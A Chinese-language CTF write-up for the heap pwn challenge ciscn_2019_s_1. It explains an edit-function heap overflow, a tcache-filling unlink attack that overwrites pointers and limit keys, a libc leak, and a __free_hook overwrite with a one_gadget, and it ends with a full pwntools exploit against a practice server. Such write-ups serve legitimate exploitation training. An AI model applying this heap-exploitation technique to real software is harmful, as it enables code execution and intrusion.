ciscn_2019_s_1(unlink)

到了考试周,有半个多月没有碰pwn了,趁放假多做一点题弥补一下和pwn师傅的差距

题目的例行检查我就不放了

malloc 函数

ciscn_2019_s_1(unlink)

 

 可以看到malloc限制了chunk的大小。然后再heap处存chunk的指针便于管理

edit函数

ciscn_2019_s_1(unlink)

 

 这里存在着漏洞,read时程序没有对v2进行严格的限制存在着堆溢出,然后edit程序放入了key1限制edit使用的次数

show函数

ciscn_2019_s_1(unlink)

 

 程序再这里放入了key2,让用户无法使用show

free函数

ciscn_2019_s_1(unlink)

 

 没看出漏洞

然后查看heap的位置

ciscn_2019_s_1(unlink)

 

 ciscn_2019_s_1(unlink)

 

 我们可以看到key2和key1再heap的下面,所以我们可以通过unlink去修改这部分的内容

首先我们先申请把tcahe填满然后申请俩个chunk

ciscn_2019_s_1(unlink)

 

 注意:index为32的chunk的指针刚好再pro的位置便于我们以后的利用

然后我们开始执行常规的unlink

ciscn_2019_s_1(unlink)

 

 此时,经过unlink的操作后我们可以往heap地方填入数据

ciscn_2019_s_1(unlink)

 

 注意:0x601fa0是free-plt的位置,然后我们将pro的地址覆盖成了0x6021e0,这样chunk32的头部指针就被覆盖为了pro的地址,我们对chunk32的输入就是对pro这片内存的输入,show(29)是0x601fa0

然后我们就可以成功的泄露出libc的地址再通过edit32去获得shell

ciscn_2019_s_1(unlink)

 

 成功拿到shell

ciscn_2019_s_1(unlink)

 

 完整的exp如下

from pwn import *

#p = process('./ciscn_s_1')
p = remote('node4.buuoj.cn',29082)

elf = ELF('./ciscn_s_1')
libc = ELF('./libc-2.27.so')
def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])

def add(index,size,content):
    p.sendlineafter('4.show','1')
    p.sendlineafter('index:',str(index))
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)

def edit(index,content):
    p.sendlineafter('4.show','3')
    p.sendlineafter('index:',str(index))
    p.sendafter('content:',content)

def free(index):
    p.sendlineafter('4.show','2')
    p.sendlineafter('index:',str(index))
def show(index):
    p.sendlineafter('4.show','4')
    p.sendlineafter('index:',str(index))

bss_addr = 0x6020e0
key2 = 0x6020b8

#launch_gdb()

for i in range (1,8):
    add(i,0xf8,'bbbb')

add(32,0xf8,'aaaa')
add(9,0xf8,'cccc')

for i in range (1,8):
    free(i)
fd = bss_addr +32*0x8- 0x18
bk = bss_addr +32*0x8- 0x10
payload = p64(0)+p64(0xf0)
payload += p64(fd)+p64(bk)
payload = payload.ljust(0xf0,b'\x00')+p64(0xf0)

edit(32,payload)
free(9)
payload1 = p64(0x601fa0)+p64(0)*2+p64(0x6021e0)
payload1 = payload1.ljust(0xf0,b'\x00')
payload1 += p32(0x1)+p32(0x100)

edit(32,payload1)
show(0x1d)#29

free_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print('free_addr-->'+hex(free_addr))
libc_base = free_addr - libc.sym['free']
print('libc_base-->'+hex(libc_base))
one_gadget = libc_base + 0x4f322
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

edit(32,p64(free_hook))
edit(32,p64(one_gadget))
free(32)

p.interactive()

参考wp:

ciscn_2019_s_1 - 简书 (jianshu.com)

结束!!!

ciscn_2019_s_1(unlink)

 

上一篇:每日一课——C++ 动态内存——高级教程


下一篇:ridging the Gap Between Anchor-based and Anchor-free Detection 阅读